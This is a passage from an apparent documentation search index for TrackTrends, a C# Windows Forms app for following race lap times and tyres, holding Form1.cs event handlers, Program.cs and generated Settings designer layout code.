break ; case Tyre . Type . Soft : lblCurrentDriverTyreType . Text = \"Soft\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 255 , 0 , 0 ); break ; case Tyre . Type . Inter : lblCurrentDriverTyreType . Text = \"Intermediate\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 0 , 164 , 46 ); break ; case Tyre . Type . Wet : lblCurrentDriverTyreType . Text = \"Wet\" ; lblCurrentDriverTyreType . ForeColor = Color . FromArgb ( 39 , 96 , 166 ); break ; } } public void btnLapTime_Click ( object sender , EventArgs e ) { //Happens when a lapTime has been clicked Button btn = sender as Button ; string [] parts = btn . Name . Split ( '_' ); Wrapper . DisplayLapTimeInfos ( parts [ 0 ], Convert . ToInt32 ( parts [ 1 ]), btn . Text ); } private void Main_Resize ( object sender , EventArgs e ) { int xDiff = this . Width - oldSize . Width ; int yDiff = this . Height - oldSize . Height ; int padding = 10 ; //This will take half the newly created space gpbxRanking . Size = new Size ( oldRankingSize . Width + xDiff / 2 , oldRankingSize . Height + yDiff ); gpbxRanking . Location = new Point ( oldRankingPosition . X + xDiff / 2 , gpbxRanking . Location . Y ); //Will take half the new height and half the new height gpbxLapTimes . Size = new Size ( oldLapTimesSize . Width + xDiff / 2 , oldLapTimesSize . Height + yDiff / 2 ); //Will take half the new height and half the new width gpbxBattles . Size = new Size ( oldBattles . Width + xDiff / 2 , oldBattles . Height + yDiff / 2 ); gpbxBattles . Location = new Point ( gpbxBattles . Location . X , oldBattlePosition . Y + yDiff / 2 ); //The infos wont change width but will need to be centerd Point startOfZone = new Point ( gpbxOvertakes . Width + gpbxOvertakes . Location . X , gpbxOvertakes . Location . Y ); Point endOfZone = new Point ( gpbxRanking . Location . X , gpbxOvertakes . Location . Y ); int totalWidth = endOfZone . X - startOfZone . X ; gpbxDriverInfos . Location = new Point ( startOfZone . X + ( totalWidth / 2 - gpbxDriverInfos . Width / 2 ), oldDriverInfoPosition . Y + yDiff ); //Now resizing internals pnlFastest . Size = new Size ( oldPnlFastest . Width + xDiff / 4 , oldPnlFastest . Height + yDiff / 4 ); pnlFastest . Location = new Point ( olPnlFastestPosition . X , olPnlFastestPosition . Y + yDiff / 4 ); pnlSlowest . Size = new Size ( oldPnlSlowest . Width + xDiff / 4 , oldPnlSlowest . Height + yDiff / 4 ); pnlSlowest . Location = new Point ( oldPnlSlowestPosition . X + xDiff / 4 , oldPnlSlowestPosition . Y + yDiff / 4 ); pnlBattles . Size = new Size ( oldPnlBattles . Width + xDiff / 2 , oldPnlBattles . Height + yDiff / 2 ); pnlLiveRanking . Size = new Size ( oldPnlRankings . Width + xDiff / 2 , oldPnlRankings . Height + yDiff ); } } }","title":"Form1.cs"},{"location":"Code/Program.html","text":"Program.cs using System ; using System.Collections.Generic ; using System.Linq ; using System.Threading.Tasks ; using System.Windows.Forms ; namespace TrackTrends { internal static class Program { /// /// The main entry point for the application. /// [STAThread] static void Main () { Application . EnableVisualStyles (); Application . SetCompatibleTextRenderingDefault ( false ); Application . Run ( new Main ()); } } }","title":"Program.cs"},{"location":"Code/Program.html#programcs","text":"using System ; using System.Collections.Generic ; using System.Linq ; using System.Threading.Tasks ; using System.Windows.Forms ; namespace TrackTrends { internal static class Program { /// /// The main entry point for the application. /// [STAThread] static void Main () { Application . EnableVisualStyles (); Application . SetCompatibleTextRenderingDefault ( false ); Application . Run ( new Main ()); } } }","title":"Program.cs"},{"location":"Code/Settings.Designer.html","text":"Settings.Designer.cs namespace TrackTrends { partial class Settings { /// /// Required designer variable. /// private System . ComponentModel . IContainer components = null ; /// /// Clean up any resources being used. /// /// true if managed resources should be disposed; otherwise, false. protected override void Dispose ( bool disposing ) { if ( disposing && ( components != null )) { components . Dispose (); } base . Dispose ( disposing ); } #region Windows Form Designer generated code /// /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// private void InitializeComponent () { this . components = new System . ComponentModel . Container (); this . label1 = new System . Windows . Forms . Label (); this . label2 = new System . Windows . Forms . Label (); this . gpbxRaceSettings = new System . Windows . Forms . GroupBox (); this . tbxGpUrl = new System . Windows . Forms . TextBox (); this . gpbxDriverList = new System . Windows . Forms . GroupBox (); this . lsbDrivers = new System . Windows . Forms . ListBox (); this . btnRemoveDriver = new System . Windows . Forms . Button (); this . btnAddDriver = new System . Windows . Forms . Button (); this . tbxDriverName = new System . Windows . Forms . TextBox (); this . gpbxPreview = new System . Windows . Forms . GroupBox (); this . lblWindowsRemaining = new System . Windows . Forms . Label (); this . btnResetDriver = new System . Windows . Forms . Button (); this . btnRefresh = new System . Windows . Forms . Button (); this . lblWindowPointsRemaining = new System . Windows . Forms . Label (); this . lblZonePointsRemaning = new System . Windows . Forms . Label (); this . btnCreateWindow = new System . Windows . Forms . Button (); this . pbxPreview = new System . Windows . Forms . PictureBox (); this . btnCreatZone = new System . Windows . Forms . Button (); this . gpbxWindowPreview = new System . Windows . Forms . GroupBox (); this . pbxWindowPreview = new System . Windows . Forms . PictureBox (); this . btnLoadPreset = new System . Windows . Forms . Button (); this . lsbPresets = new System . Windows . Forms . ListBox (); this . tbxPresetName = new System . Windows . Forms . TextBox (); this . btnSavePreset = new System . Windows . Forms . Button (); this . gpbxPresets = new System . Windows . Forms . GroupBox (); this . btnDeletePreset = new System . Windows . Forms . Button (); this . tip1 = new System . Windows . Forms . ToolTip ( this . components ); this . gpbxRaceSettings . SuspendLayout (); this . gpbxDriverList . SuspendLayout (); this . gpbxPreview . SuspendLayout (); (( System . ComponentModel . ISupportInitialize )( this . pbxPreview )). BeginInit (); this . gpbxWindowPreview . SuspendLayout (); (( System . ComponentModel . ISupportInitialize )( this . pbxWindowPreview )). BeginInit (); this . gpbxPresets . SuspendLayout (); this . SuspendLayout (); // // label1 // this . label1 . AutoSize = true ; this . label1 . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 19.8F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . label1 . ForeColor = System . Drawing . Color . White ; this . label1 . Location = new System . Drawing . Point ( 12 , 14 ); this . label1 . Name = \"label1\" ; this . label1 . Size = new System . Drawing . Size ( 309 , 43 ); this . label1 . TabIndex = 0 ; this . label1 . Text = \"Configuration tool\" ; // // label2 // this . label2 . AutoSize = true ; this . label2 . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . label2 . ForeColor = System . Drawing . Color . White ; this . label2 . Location = new System . Drawing . Point ( 3 , 25 ); this . label2 . Name = \"label2\" ; this . label2 . Size = new System . Drawing . Size ( 132 , 23 ); this . label2 . TabIndex = 1 ; this . label2 . Text = \"Grand Prix URL\" ; // // gpbxRaceSettings // this . gpbxRaceSettings . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . gpbxRaceSettings . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxRaceSettings . Controls . Add ( this . tbxGpUrl ); this . gpbxRaceSettings . Controls . Add ( this . label2 ); this . gpbxRaceSettings . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . gpbxRaceSettings . ForeColor = System . Drawing . Color . White ; this . gpbxRaceSettings . Location = new System . Drawing . Point ( 733 , 9 ); this . gpbxRaceSettings . Name = \"gpbxRaceSettings\" ; this . gpbxRaceSettings . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxRaceSettings . Size = new System . Drawing . Size ( 521 , 58 ); this . gpbxRaceSettings . TabIndex = 2 ; this . gpbxRaceSettings . TabStop = false ; this . gpbxRaceSettings . Text = \"RaceSettings\" ; this . gpbxRaceSettings . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // tbxGpUrl // this . tbxGpUrl . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . tbxGpUrl . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . tbxGpUrl . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . tbxGpUrl . ForeColor = System . Drawing . Color . White ; this . tbxGpUrl . Location = new System . Drawing . Point ( 141 , 25 ); this . tbxGpUrl . Name = \"tbxGpUrl\" ; this . tbxGpUrl . Size = new System . Drawing . Size ( 367 , 22 ); this . tbxGpUrl . TabIndex = 4 ; this . tbxGpUrl . TextChanged += new System . EventHandler ( this . tbxGpUrl_TextChanged ); // // gpbxDriverList // this . gpbxDriverList . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . gpbxDriverList . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxDriverList . Controls . Add ( this . lsbDrivers ); this . gpbxDriverList . Controls . Add ( this . btnRemoveDriver ); this . gpbxDriverList . Controls . Add ( this . btnAddDriver ); this . gpbxDriverList . Controls . Add ( this . tbxDriverName ); this . gpbxDriverList . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . gpbxDriverList . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . gpbxDriverList . ForeColor = System . Drawing . Color . White ; this . gpbxDriverList . Location = new System . Drawing . Point ( 995 , 73 ); this . gpbxDriverList . Name = \"gpbxDriverList\" ; this . gpbxDriverList . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxDriverList . Size = new System . Drawing . Size ( 259 , 269 ); this . gpbxDriverList . TabIndex = 3 ; this . gpbxDriverList . TabStop = false ; this . gpbxDriverList . Text = \"DriverList\" ; this . gpbxDriverList . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // lsbDrivers // this . lsbDrivers . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . lsbDrivers . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . lsbDrivers . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . lsbDrivers . ForeColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 252 )))), (( int )((( byte )( 252 )))), (( int )((( byte )( 252 ))))); this . lsbDrivers . FormattingEnabled = true ; this . lsbDrivers . ItemHeight = 23 ; this . lsbDrivers . Location = new System . Drawing . Point ( 10 , 23 ); this . lsbDrivers . Name = \"lsbDrivers\" ; this . lsbDrivers . Size = new System . Drawing . Size ( 243 , 138 ); this . lsbDrivers . TabIndex = 10 ; // // btnRemoveDriver // this . btnRemoveDriver . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnRemoveDriver . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnRemoveDriver . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . btnRemoveDriver . ForeColor = System . Drawing . Color . White ; this . btnRemoveDriver . Location = new System . Drawing . Point ( 132 , 167 ); this . btnRemoveDriver . Name = \"btnRemoveDriver\" ; this . btnRemoveDriver . Size = new System . Drawing . Size ( 121 , 62 ); this . btnRemoveDriver . TabIndex = 9 ; this . btnRemoveDriver . Text = \"Remove\" ; this . btnRemoveDriver . UseVisualStyleBackColor = false ; this . btnRemoveDriver . Click += new System . EventHandler ( this . btnRemoveDriver_Click ); // // btnAddDriver // this . btnAddDriver . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnAddDriver . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnAddDriver . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . btnAddDriver . ForeColor = System . Drawing . Color . White ; this . btnAddDriver . Location = new System . Drawing . Point ( 10 , 167 ); this . btnAddDriver . Name = \"btnAddDriver\" ; this . btnAddDriver . Size = new System . Drawing . Size ( 116 , 62 ); this . btnAddDriver . TabIndex = 8 ; this . btnAddDriver . Text = \"Add\" ; this . btnAddDriver . UseVisualStyleBackColor = false ; this . btnAddDriver . Click += new System . EventHandler ( this . btnAddDriver_Click ); // // tbxDriverName // this . tbxDriverName . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . tbxDriverName . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . tbxDriverName . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 11F ); this . tbxDriverName . ForeColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 252 )))), (( int )((( byte )( 252 )))), (( int )((( byte )( 252 ))))); this . tbxDriverName . Location = new System . Drawing . Point ( 10 , 235 ); this . tbxDriverName . Name = \"tbxDriverName\" ; this . tbxDriverName . Size = new System . Drawing . Size ( 243 , 24 ); this . tbxDriverName . TabIndex = 7 ; // // gpbxPreview // this . gpbxPreview . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxPreview . Controls . Add ( this . lblWindowsRemaining ); this . gpbxPreview . Controls . Add ( this . btnResetDriver ); this . gpbxPreview . Controls . Add ( this . btnRefresh ); this . gpbxPreview . Controls . Add ( this . lblWindowPointsRemaining ); this . gpbxPreview . Controls . Add ( this . lblZonePointsRemaning ); this . gpbxPreview . Controls . Add ( this . btnCreateWindow ); this . gpbxPreview . Controls . Add ( this . pbxPreview ); this . gpbxPreview . Controls . Add ( this . btnCreatZone ); this . gpbxPreview . FlatStyle = System . Windows . Forms . FlatStyle . Flat ; this . gpbxPreview . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . gpbxPreview . ForeColor = System . Drawing . Color . White ; this . gpbxPreview . Location = new System . Drawing . Point ( 18 , 73 ); this . gpbxPreview . Name = \"gpbxPreview\" ; this . gpbxPreview . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxPreview . Size = new System . Drawing . Size ( 968 , 608 ); this . gpbxPreview . TabIndex = 4 ; this . gpbxPreview . TabStop = false ; this . gpbxPreview . Text = \"Preview\" ; this . gpbxPreview . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // lblWindowsRemaining // this . lblWindowsRemaining . AutoSize = true ; this . lblWindowsRemaining . BackColor = System . Drawing . Color . Transparent ; this . lblWindowsRemaining . ForeColor = System . Drawing . Color . White ; this . lblWindowsRemaining . Location = new System . Drawing . Point ( 215 , 82 ); this . lblWindowsRemaining . Name = \"lblWindowsRemaining\" ; this . lblWindowsRemaining . Size = new System . Drawing . Size ( 183 , 23 ); this . lblWindowsRemaining . TabIndex = 6 ; this . lblWindowsRemaining . Text = \"7 windows remaining\" ; // // btnResetDriver // this . btnResetDriver . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . btnResetDriver . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnResetDriver . Enabled = false ; this . btnResetDriver . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnResetDriver . ForeColor = System . Drawing . Color . White ; this . btnResetDriver . Location = new System . Drawing . Point ( 748 , 20 ); this . btnResetDriver . Name = \"btnResetDriver\" ; this . btnResetDriver . Size = new System . Drawing . Size ( 211 , 33 ); this . btnResetDriver . TabIndex = 2 ; this . btnResetDriver . Text = \"Reset the emulator\" ; this . btnResetDriver . UseVisualStyleBackColor = false ; this . btnResetDriver . Click += new System . EventHandler ( this . btnResetDriver_Click ); // // btnRefresh // this . btnRefresh . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . btnRefresh . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnRefresh . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnRefresh . ForeColor = System . Drawing . Color . White ; this . btnRefresh . Location = new System . Drawing . Point ( 549 , 20 ); this . btnRefresh . Name = \"btnRefresh\" ; this . btnRefresh . Size = new System . Drawing . Size ( 193 , 33 ); this . btnRefresh . TabIndex = 1 ; this . btnRefresh . Text = \"Start the browser\" ; this . btnRefresh . UseVisualStyleBackColor = false ; this . btnRefresh . Click += new System . EventHandler ( this . btnRefresh_Click ); // // lblWindowPointsRemaining // this . lblWindowPointsRemaining . AutoSize = true ; this . lblWindowPointsRemaining . ForeColor = System . Drawing . Color . White ; this . lblWindowPointsRemaining . Location = new System . Drawing . Point ( 215 , 59 ); this . lblWindowPointsRemaining . Name = \"lblWindowPointsRemaining\" ; this . lblWindowPointsRemaining . Size = new System . Drawing . Size ( 163 , 23 ); this . lblWindowPointsRemaining . TabIndex = 4 ; this . lblWindowPointsRemaining . Text = \"0 points remaining\" ; // // lblZonePointsRemaning // this . lblZonePointsRemaning . AutoSize = true ; this . lblZonePointsRemaning . ForeColor = System . Drawing . Color . White ; this . lblZonePointsRemaning . Location = new System . Drawing . Point ( 19 , 59 ); this . lblZonePointsRemaning . Name = \"lblZonePointsRemaning\" ; this . lblZonePointsRemaning . Size = new System . Drawing . Size ( 163 , 23 ); this . lblZonePointsRemaning . TabIndex = 5 ; this . lblZonePointsRemaning . Text = \"0 points remaining\" ; // // btnCreateWindow // this . btnCreateWindow . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnCreateWindow . Enabled = false ; this . btnCreateWindow . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnCreateWindow . ForeColor = System . Drawing . Color . White ; this . btnCreateWindow . Location = new System . Drawing . Point ( 213 , 23 ); this . btnCreateWindow . Name = \"btnCreateWindow\" ; this . btnCreateWindow . Size = new System . Drawing . Size ( 201 , 33 ); this . btnCreateWindow . TabIndex = 2 ; this . btnCreateWindow . Text = \"Create the windows\" ; this . btnCreateWindow . UseVisualStyleBackColor = false ; this . btnCreateWindow . Click += new System . EventHandler ( this . btnCreateWindow_Click ); // // pbxPreview // this . pbxPreview . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . pbxPreview . Location = new System . Drawing . Point ( 10 , 62 ); this . pbxPreview . Name = \"pbxPreview\" ; this . pbxPreview . Size = new System . Drawing . Size ( 950 , 540 ); this . pbxPreview . SizeMode = System . Windows . Forms . PictureBoxSizeMode . StretchImage ; this . pbxPreview . TabIndex = 0 ; this . pbxPreview . TabStop = false ; this . pbxPreview . Click += new System . EventHandler ( this . pbxMain_Click ); this . pbxPreview . MouseClick += new System . Windows . Forms . MouseEventHandler ( this . pbxMain_MouseClick ); // // btnCreatZone // this . btnCreatZone . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnCreatZone . Enabled = false ; this . btnCreatZone . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnCreatZone . ForeColor = System . Drawing . Color . White ; this . btnCreatZone . Location = new System . Drawing . Point ( 6 , 23 ); this . btnCreatZone . Name = \"btnCreatZone\" ; this . btnCreatZone . Size = new System . Drawing . Size ( 201 , 33 ); this . btnCreatZone . TabIndex = 1 ; this . btnCreatZone . Text = \"Create the main zone\" ; this . btnCreatZone . UseVisualStyleBackColor = false ; this . btnCreatZone . Click += new System . EventHandler ( this . btnCreatZone_Click ); // // gpbxWindowPreview // this . gpbxWindowPreview . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Bottom | System . Windows . Forms . AnchorStyles . Left ))); this . gpbxWindowPreview . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxWindowPreview . Controls . Add ( this . pbxWindowPreview ); this . gpbxWindowPreview . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . gpbxWindowPreview . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . gpbxWindowPreview . ForeColor = System . Drawing . Color . White ; this . gpbxWindowPreview . Location = new System . Drawing . Point ( 18 , 688 ); this . gpbxWindowPreview . Name = \"gpbxWindowPreview\" ; this . gpbxWindowPreview . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxWindowPreview . Size = new System . Drawing . Size ( 1237 , 88 ); this . gpbxWindowPreview . TabIndex = 5 ; this . gpbxWindowPreview . TabStop = false ; this . gpbxWindowPreview . Text = \"DriverZonePreview\" ; this . gpbxWindowPreview . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // pbxWindowPreview // this . pbxWindowPreview . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . pbxWindowPreview . Location = new System . Drawing . Point ( 6 , 30 ); this . pbxWindowPreview . Name = \"pbxWindowPreview\" ; this . pbxWindowPreview . Size = new System . Drawing . Size ( 1225 , 50 ); this . pbxWindowPreview . SizeMode = System . Windows . Forms . PictureBoxSizeMode . StretchImage ; this . pbxWindowPreview . TabIndex = 0 ; this . pbxWindowPreview . TabStop = false ; this . pbxWindowPreview . Click += new System . EventHandler ( this . pbxDriverZone_Click ); this . pbxWindowPreview . MouseClick += new System . Windows . Forms . MouseEventHandler ( this . pbxDriverZone_MouseClick ); // // btnLoadPreset // this . btnLoadPreset . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnLoadPreset . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnLoadPreset . ForeColor = System . Drawing . Color . White ; this . btnLoadPreset . Location = new System . Drawing . Point ( 10 , 213 ); this . btnLoadPreset . Name = \"btnLoadPreset\" ; this . btnLoadPreset . Size = new System . Drawing . Size ( 243 , 40 ); this . btnLoadPreset . TabIndex = 10 ; this . btnLoadPreset . Text = \"Load the preset\" ; this . btnLoadPreset . UseVisualStyleBackColor = false ; this . btnLoadPreset . Click += new System . EventHandler ( this . btnLoadPreset_Click ); // // lsbPresets // this . lsbPresets . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . lsbPresets . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . lsbPresets . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . lsbPresets . ForeColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 252 )))), (( int )((( byte )( 252 )))), (( int )((( byte )( 252 ))))); this . lsbPresets . FormattingEnabled = true ; this . lsbPresets . ItemHeight = 23 ; this . lsbPresets . Location = new System . Drawing . Point ( 10 , 23 ); this . lsbPresets . Name = \"lsbPresets\" ; this . lsbPresets . Size = new System . Drawing . Size ( 243 , 138 ); this . lsbPresets . TabIndex = 8 ; this . lsbPresets . SelectedIndexChanged += new System . EventHandler ( this . lsbPresets_SelectedIndexChanged ); // // tbxPresetName // this . tbxPresetName . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . tbxPresetName . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . tbxPresetName . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 11F ); this . tbxPresetName . ForeColor = System . Drawing . Color . White ; this . tbxPresetName . Location = new System . Drawing . Point ( 10 , 303 ); this . tbxPresetName . Name = \"tbxPresetName\" ; this . tbxPresetName . Size = new System . Drawing . Size ( 243 , 24 ); this . tbxPresetName . TabIndex = 7 ; // // btnSavePreset // this . btnSavePreset . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnSavePreset . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnSavePreset . ForeColor = System . Drawing . Color . White ; this . btnSavePreset . Location = new System . Drawing . Point ( 10 , 259 ); this . btnSavePreset . Name = \"btnSavePreset\" ; this . btnSavePreset . Size = new System . Drawing . Size ( 243 , 40 ); this . btnSavePreset . TabIndex = 7 ; this . btnSavePreset . Text = \"Save current preset\" ; this . btnSavePreset . UseVisualStyleBackColor = false ; this . btnSavePreset . Click += new System . EventHandler ( this . btnSavePreset_Click ); // // gpbxPresets // this . gpbxPresets . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . gpbxPresets . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxPresets . Controls . Add ( this . btnSavePreset ); this . gpbxPresets . Controls . Add ( this . btnDeletePreset ); this . gpbxPresets . Controls . Add ( this . tbxPresetName ); this . gpbxPresets . Controls . Add ( this . btnLoadPreset ); this . gpbxPresets . Controls . Add ( this . lsbPresets ); this . gpbxPresets . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . gpbxPresets . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . gpbxPresets . ForeColor = System . Drawing . Color . White ; this . gpbxPresets . Location = new System . Drawing . Point ( 995 , 348 ); this . gpbxPresets . Name = \"gpbxPresets\" ; this . gpbxPresets . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxPresets . Size = new System . Drawing . Size ( 259 , 333 ); this . gpbxPresets . TabIndex = 6 ; this . gpbxPresets . TabStop = false ; this . gpbxPresets . Text = \"Presets\" ; this . gpbxPresets . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // btnDeletePreset // this . btnDeletePreset . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnDeletePreset . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnDeletePreset . ForeColor = System . Drawing . Color . White ; this . btnDeletePreset . Location = new System . Drawing . Point ( 10 , 167 ); this . btnDeletePreset . Name = \"btnDeletePreset\" ; this . btnDeletePreset . Size = new System . Drawing . Size ( 243 , 40 ); this . btnDeletePreset . TabIndex = 11 ; this . btnDeletePreset . Text = \"Delete the preset\" ; this . btnDeletePreset . UseVisualStyleBackColor = false ; this . btnDeletePreset . Click += new System . EventHandler ( this . btnDeletePreset_Click ); // // Settings // this . AutoScaleDimensions = new System . Drawing . SizeF ( 8F , 19F ); this . AutoScaleMode = System . Windows . Forms . AutoScaleMode . Font ; this . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . ClientSize = new System . Drawing . Size ( 1266 , 788 ); this . Controls . Add ( this . gpbxPresets ); this . Controls . Add ( this . gpbxWindowPreview ); this . Controls . Add ( this . gpbxPreview ); this . Controls . Add ( this . gpbxDriverList ); this . Controls . Add ( this . label1 ); this . Controls . Add ( this . gpbxRaceSettings ); this . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 7.8F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . Margin = new System . Windows . Forms . Padding ( 3 , 4 , 3 , 4 ); this . MinimumSize = new System . Drawing . Size ( 1284 , 835 ); this . Name = \"Settings\" ; this . StartPosition = System . Windows . Forms . FormStartPosition . CenterScreen ; this . Text = \"Settings\" ; this . FormClosing += new System . Windows . Forms . FormClosingEventHandler ( this . Settings_FormClosing ); this . Resize += new System . EventHandler ( this . Settings_Resize ); this . gpbxRaceSettings . ResumeLayout ( false ); this . gpbxRaceSettings . PerformLayout (); this . gpbxDriverList . ResumeLayout ( false ); this . gpbxDriverList . PerformLayout (); this . gpbxPreview . ResumeLayout ( false ); this . gpbxPreview . PerformLayout (); (( System . ComponentModel . ISupportInitialize )( this . pbxPreview )). EndInit (); this . gpbxWindowPreview . ResumeLayout ( false ); (( System . ComponentModel . ISupportInitialize )( this . pbxWindowPreview )). EndInit (); this . gpbxPresets . ResumeLayout ( false ); this . gpbxPresets . PerformLayout (); this . ResumeLayout ( false ); this . PerformLayout (); } #endregion private System . Windows . Forms . Label label1 ; private System . Windows . Forms . Label label2 ; private System . Windows . Forms . GroupBox gpbxRaceSettings ; private System . Windows . Forms . TextBox tbxGpUrl ; private System . Windows . Forms . GroupBox gpbxDriverList ; private System . Windows . Forms . ListBox lsbDrivers ; private System . Windows . Forms . Button btnRemoveDriver ; private System . Windows . Forms . Button btnAddDriver ; private System . Windows . Forms . TextBox tbxDriverName ; private System . Windows . Forms . GroupBox gpbxPreview ; private System . Windows . Forms . PictureBox pbxPreview ; private System . Windows . Forms . GroupBox gpbxWindowPreview ; private System . Windows . Forms . PictureBox pbxWindowPreview ; private System . Windows . Forms . 